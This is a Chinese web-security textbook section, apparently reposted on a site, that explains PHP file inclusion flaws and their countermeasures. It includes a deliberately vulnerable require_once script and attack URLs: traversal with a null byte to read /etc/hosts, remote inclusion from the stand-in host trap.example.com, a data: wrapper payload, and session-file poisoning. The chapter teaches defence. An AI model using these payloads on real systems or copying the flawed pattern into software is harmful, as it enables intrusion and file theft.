4.13 include 相关的问题
本节将讲述由能够使部分脚本从外界读入的 include 机制所引发的安全隐患。
4.13.1 文件包含攻击
概要
PHP 等脚本语言能够从外部文件读取脚本源代码的一部分。PHP 中对应的函数有 require
、 require_once
、 include
、 include_once
。
如果外界能够指定 include
的对象文件名,就可能会发生意料之外的文件被 include 而遭到攻击。这被称为文件包含漏洞 69 。某些情况下,PHP 中还可以通过配置来指定外部服务器的 URL 作为文件名,这就被称为远程文件包含(RFI)。
69 本书对安全隐患的命名参考了 CWE-98 中的记述( http://cwe.mitre.org/data/definitions/98.html 2010 年 12 月 19 日)。关于 CWE(Common Weakness Enumeration,统一的软件漏洞一览定义工程)的说明,请参考 http://www.ipa.go.jp/security/vuln/CWE.html (日文)。
文件包含攻击的影响如下。
- Web 服务器的文件被外界浏览而导致信息泄漏
- 脚本被任意执行所造成的影响。典型的影响如下
- 篡改网站
- 执行非法操作
- 攻击其他网站(垫脚石)
为了防范文件包含漏洞,建议实施以下任意一项对策。
- 避免 include 的路径名中包含外界传入的参数
- include 的路径名中包含外界传入的参数时,限制其字符种类仅为字母和数字
文件包含漏洞总览
攻击手段与影响
接下来我们就来看一下文件包含攻击的手段与其影响。首先来看以下存在漏洞的示例脚本。
代码清单 /4d/4d-001.php
<body>
<?php
$header = $_GET['header'];
require_once($header . '.php');
?>
正文【省略】
</body>
这段脚本使用了 require_once
来读取页面头部文件。实验环境的虚拟机中提供有头部文件示例,即以下 spring.php 文件。
代码清单 [ 示例头部文件 ] spring.php
已经是春天了啊 <br>
正常情况下,使用如下 URL 就能指定此示例文件。
http://example.jp/4d/4d-001.php?header=spring
图 4-116 执行示例脚本后的页面显示
- 文件包含引发的信息泄漏
下面就让我们来看一下如何实施攻击。这里我们首先借鉴目录遍历攻击的手法来启动以下 URL。URL 末尾的 %00 是为了使 PHP 脚本中添加的 .php 扩展名无效,这一点在 4.2 节中已经做过介绍。
http://example.jp/4d/4d-001.php?header=../../../../etc/hosts%00
图 4-117 文件包含攻击致使 Web 服务器的文件内容被显示
/etc/hosts 文件的内容被显示在了页面上。由此可见,文件包含攻击能造成 Web 服务器内的非公开文件泄漏。
目前为止,我们所看到的漏洞造成的影响可以说与目录遍历漏洞完全相同,但由于 include 机制还能够读取脚本并将其执行,因此就能够让外界执行其指定的脚本,从而形成极大的风险。下面我们就来看一下这种攻击手段。
- 执行脚本 1:远程文件包含攻击(RFI)
PHP 的
include/require
有如下功能:如果指定 URL 作为文件名,就能够 include 外部服务器的文件(Remote File Inclusion; RFI)。但由于此功能极其危险,因此在 PHP5.2.0 之后的版本中都默认将其设为无效。但为了讲解这一漏洞,本书的试验环境虚拟机中将远程文件包含功能设为了有效。因此,这里我们就能够重现下面介绍的攻击模式。
首先,准备以下文件作为外部的攻击脚本。
代码清单 http://trap.example.com/4d/4d-900.txt
<?php phpinfo(); ?>
然后,通过如下形式的 URL 来调用 4d-001.php。由于在 4d-001.php 内部会给 URL 添加 .php 扩展名,因此在 URL 的最后添加 ? 以使得 .php 被解释为查询字符串。
http://example.jp/4d/4d-001.php?header=http://trap.example.com/4d/4d-900.txt?
在 4d-001.php 的
require_once
处给文件名添加 .php 扩展名后,最终拼接成的 URL 就如下所示。http://trap.example.com/4d/4d-900.txt?.php
可以看出,扩展名 .php 变成了查询字符串,被下载的文件变成了 4d-900.txt。
最终,页面上显示了
phpinfo
的执行结果。图 4-118 执行了外部服务器的脚本
图 4-118 显示了一些能够用来判断
phpinfo
是在哪个服务器上被执行的项。例如,从 Host 项中就能得知phpinfo
是在 example.jp 上被执行的。专栏:RFI 攻击的变种
正如上面所介绍的那样,如果 RFI 被设置为有效,那么攻击者通过将用来攻击的字符串存放在外部服务器中并设法使其被包含,就能达到执行任意脚本的目的。其实,除此之外还有更为简单的攻击方式。
具体来说,针对 RFI 漏洞,使用 data: 数据流封装器或者 PHP 输入流也能够实施攻击。下面的 URL 即展示了如何使用 data: 数据流封装器来实施攻击 70 。
http://example.jp/4d/4d-001.php?header=data:text/plain;charset=,<?php+phpinfo()?>
防范此类攻击的策略同 RFI 一样,将 allow_url_include 设为 Off 即可(后述)。另外,关于 data: 数据流封装器或者 PHP 输入流的详情,可以参考 PHP 的官方文档。
- PHP 输入流的文档
- data: 数据流封装器的文档
- 执行脚本 2:恶意使用保存会话信息的文件
即使 RFI 功能被禁止,只要能够在 Web 服务器上写入任意内容,攻击者就还是有可能通过文件包含攻击而使外界执行脚本。比如下列两种情况。
- 允许上传文件的网站
- 将会话变量保存在文件中的网站
上述两种情况下,如果文件名能够被推测,就会造成问题。下面我们将主要介绍将会话变量保存在文件中的情况,这也是 PHP 的默认设置。
这里假设攻击对象网站的某个页面将外界输入的值直接保存至了会话变量。下面我们以咨询网站的脚本为例进行说明。首先看到的是输入表单。为了使读者们能更直观地体验漏洞,这里的攻击代码(阴影部分)被设置为了初始值,而这一操作本来是没有的。
代码清单 /4d/4d-002.html
<body> <form action="4d-003.php" method="POST"> 请提问 <br> <textarea name=answer rows=4 cols=40> <?php phpinfo(); ?> </textarea><br> <input type="submit"> </form> </body>
接着就是接收到用户提问后进行处理的脚本。脚本中只是将 POST 的数据保存到会话变量中,此处为了演示的方便,我们将会话变量的保存地址等显示在页面上。
代码清单 /4d/4d-003.php
<?php session_start(); $_SESSION['answer'] = $_POST['answer']; $session_filename = session_save_path() . '/sess_' . session_id(); ?> <body> 提问已受理 <br> 保存会话信息的文件名 <br><?php echo $session_filename; ?><br> <a href="4d-001.php?header=<?php echo $session_filename; ?>%00"> 文件包含攻击 </a> </body>>
执行上述脚本后的页面如图 4-119 所示。
图 4-119 执行示例脚本的页面显示
为了方便读者参考,上图中在页面上显示了保存会话信息的文件名,但实际的应用程序中并不会显示出来,因此文件名是否能被推测就成为了关键问题。
保存会话信息的文件名由会话信息的存储路径和会话 ID 组成。存储路径可以在配置中更改,但由于各个 OS(Linux 发行版)都决定了各自的默认存储路径,想必多数应用程序都直接使用了默认路径。而会话 ID 能够从 Cookie 值中获取。因此,攻击者能够推测保存会话信息文件的文件名。
保存到文件中的会话信息的形式如下。
answer|s:21:"<?php phpinfo(); ?> ";
这是有效的 PHP 代码格式,因此应该能够被执行。我们也可以点击图 4-119 中的“文件包含攻击”链接来尝试。点击后的页面显示如下。链接的 URL 中使用了空字节攻击的手法使得 .php 扩展名无效。
图 4-120 外界指定的脚本被执行
如你所见,外界指定的脚本(
phpinfo
函数)被执行了。综上所述,文件包含攻击除了能造成 Web 服务器内的文件泄漏,根据 Web 应用规格或设置的不同,还可能会造成外界指定的任意脚本被执行。
70 此处的攻击方法参考了小邨孝明的博客文章: http://d.hatena.ne.jp/t_komura/20070128/1170004898 。
安全隐患的产生原因
当应用满足以下两个条件时,就会产生文件包含漏洞。
- include 的文件名能够由外界指定
- 没有校验 include 的文件名是否妥当
对策
消除文件包含漏洞的思路与目录遍历漏洞相同。
- 避免由外界指定文件名
- 避免文件名中包含目录名
- 限制文件名仅包含字母和数字
具体方法在 4.10 节中已经做过讲述,因此此处就不再重复了。
另外,作为防范文件包含攻击的辅助性对策,建议通过设置将 RFI 功能禁止。虽然在 PHP5.2.0 以后版本中已经默认对其进行了禁止,但保险起见最好还是确认一下。确认方法为查看 phpinfo
函数的执行结果中 allow_url_include 项目是否为 Off。php.ini 中的设置如下。
allow_url_include = Off
总结
本节讲述了脚本语言中的文件包含功能所引发的漏洞。PHP 中将文件动态 include 的做法无处不在,而如果对文件名的校验不充分,就可能会混入文件包含漏洞。由于该隐患影响极大,因此请务必积极实施防范策略。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论